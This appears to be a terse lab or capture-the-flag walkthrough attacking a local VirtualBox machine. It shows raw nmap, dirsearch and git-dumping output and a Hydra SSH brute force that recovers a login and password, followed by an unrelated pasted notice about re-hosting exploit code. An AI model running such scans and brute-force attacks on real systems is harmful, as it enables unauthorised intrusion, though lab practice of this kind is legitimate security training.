3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.436 seconds (105.09 hosts/sec). 3 responded
┌──(root㉿kali)-[~/Desktop/tmp] └─# nmap 192.168.31.254 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-25 01:56 EDT Nmap scan report for change.dsz (192.168.31.254) Host is up (0.00049s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 8080/tcp open http-proxy MAC Address: 08:00:27: B6: DD: 51 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 5.21 seconds
┌──(root㉿kali)-[~/Desktop/tmp] └─# dirsearch -u "http://192.168.31.254:8080/" /usr/lib/python3/dist-packages/dirsearch/dirsearch.py: 23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
┌──(root㉿kali)-[~/…/gitTools-v0.0.1/Dumper/GitDump/output] └─# git checkout -- . error: unable to read sha1 file of .gitignore (5054a67e564790fb2303e60414d251eef5847227) error: unable to read sha1 file of .htaccess (e69de29bb2d1d6434b8b29ae775ad8c2e48c5391) error: unable to read sha1 file of .travis.yml (36f7b6f90dafe374d0eca306886df83f09ff13a9) error: unable to read sha1 file of LICENSE.txt (8d94897d94b3c8db8400259fec20d33a4f252827) error: unable to read sha1 file of README.md (05c7b838fb24a9dd309e77d3428c7cb06495f3a1) error: unable to read sha1 file of app/.htaccess (3418e55a68383c1cbc687c52a2994d1e8ed83800) error: unable to read sha1 file of app/AppService.php (96556e88e2abe4becd210e99166be1ad855c5cf5) error: unable to read sha1 file of app/BaseController.php (025ed07bf114971b4218d92061fb35cce94d3a79) ...
┌──(root㉿kali)-[~/Desktop/tmp/tmp] └─# hydra -l welcome -P ./pwd 192.168.31.254 ssh -vV -I -f Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). 。。。 Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-25 02:19:41 [22][ssh] host: 192.168.31.254 login: welcome password: eecho
due to ongoing abuse complaints about bad actors(tm) leeching exploit code from my domain (haxx.in) directly to vulnerable hosts I've had to make some adjustments to my setup. I would strongly suggest you re-host any exploit code you found on my website, its better for your own operational security anyway.
